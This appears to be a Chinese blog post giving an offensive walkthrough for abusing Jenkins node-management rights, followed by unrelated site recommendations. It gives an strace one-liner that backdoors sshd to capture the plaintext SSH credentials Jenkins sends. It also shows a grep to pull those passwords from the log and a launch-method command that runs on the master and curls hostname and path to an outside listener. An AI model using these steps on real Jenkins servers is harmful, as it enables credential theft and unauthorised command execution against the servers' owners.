Jenkins :添加node权限获取凭据、执行命令

拥有Jenkins agent权限的账号可以对node节点进行操作,通过添加不同的node可以让流水线项目在不同的节点上运行,安装Jenkins的主机默认作为master节点。

1.Jenkins 添加node获取明文凭据

通过添加node节点,本地监听ssh认证,选则凭据(明文)进行ssh认证,拿到密码。

1.新建节点-manage nodes功能

2.填写工作目录,选择通过SSH进行远程节点身份认证,选择抓取带*号的凭据,host key选择不进行验证:

3.主机监听:这里监听主机ssh使用的是strace后门,实际也可以使用其他方式进行:

复制代码
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &)

4.保存节点配置, Jenkins将对主机进行ssh请求:

node节点认证日志(账号密码方式):

  1. 查看接受结果,这种方式获得的密码需要自行判断下起始位置

    grep -E 'read\(6, ".+\0\0\0\.+"' /tmp/.sshd.log

2.通过添加节点执行命令

同样的,在添加节点时可以配置在master上执行命令去进行其他节点认证,也就可以在master上执行恶意命令了。

注意:这里执行curl命令时不能使用````````直接执行系统命令,所以利用时需要更换其他方式。

复制代码
curl -k ip:9090/`hostname`/`pwd`
env

添加节点时也可以从控制器执行命令,Launch method 选择 通过在master上执行命令的方式:

保存然后launch agent:

可以在Log里面看到命令env的输出:

相关推荐
高山上有一只小老虎4 分钟前
使用Memory Analyzer (MAT)分析内存溢出
java·jvm
TG:@yunlaoda360 云老大10 分钟前
华为云国际站代理商TaurusDB的读写分离可以应用于哪些场景?
服务器·网络·数据库·华为云
ICT技术最前线13 分钟前
深信服交换机配置命令教程
网络·交换机·深信服·交换机配置教程
研☆香14 分钟前
html页面如何精准布局
前端·html
嘴贱欠吻!16 分钟前
JavaSE基础知识
java·开发语言
RaymondZhao3420 分钟前
【深度硬核】AI Infra 架构漫游指南
人工智能·深度学习·架构
零下32摄氏度20 分钟前
【前端干货】接口在 Postman 测试很快,页面加载咋就慢?
前端·程序人生·postman
逝水如流年轻往返染尘22 分钟前
Java输入输出
java·开发语言
Alsn8624 分钟前
29.Java中常见加解密算法的基本实现
java·开发语言·算法
沉默王二24 分钟前
TRAE+Gemini,成为我解读 Agent 微服项目的最佳工具
java·后端·程序员